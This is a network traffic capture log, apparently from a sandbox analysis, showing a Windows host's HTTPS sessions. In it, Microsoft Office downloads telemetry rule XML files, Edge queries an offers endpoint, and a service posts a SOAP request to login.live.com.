2024-11-28 10:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:23 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: b56a1ebf-a01e-003d-5b56-4198d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100523Z-174f7845968pf68xhC1EWRr4h80000000yg0000000006ac3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:23 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:23 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100523Z-174f78459684bddphC1EWRbht40000000y1g000000003fn8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49776	94.245.104.56	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:24 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:24 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Thu, 28 Nov 2024 10:05:24 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=0b51276b42764abb6a267ed9848a33fb1623ecf1a727257141c3c00adc2ec6dd;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=0b51276b42764abb6a267ed9848a33fb1623ecf1a727257141c3c00adc2ec6dd;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:25 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100525Z-174f7845968zgtf6hC1EWRqd8s0000000r50000000008muw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:25 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:25 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:25 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100525Z-174f7845968nxc96hC1EWRspw80000000xy0000000008afg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:25 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:25 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:25 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100525Z-174f7845968swgbqhC1EWRmnb40000000yag000000009grx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:25 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:25 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:25 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100525Z-174f7845968pf68xhC1EWRr4h80000000ykg000000002vay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:25 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:26 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:26 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100526Z-174f7845968kdththC1EWRzvxn0000000aq0000000002n5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:26 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49786	20.190.147.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:26 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-28 10:05:26 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 10:05:26 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 10:04:26 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: 6a139c90-2147-4e17-af83-3f2b80fa9acc PPServer: PPV: 30 H: SN1PEPF0002F082 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 10:05:26 GMT Connection: close Content-Length: 1276
2024-11-28 10:05:26 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:27 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:28 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100528Z-174f7845968cdxdrhC1EWRg0en0000000y70000000005krm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:28 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:27 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:28 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100528Z-174f7845968xlwnmhC1EWR0sv80000000y4g000000003f7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:27 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100528Z-174f7845968psccphC1EWRuz9s0000000ymg000000001h6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
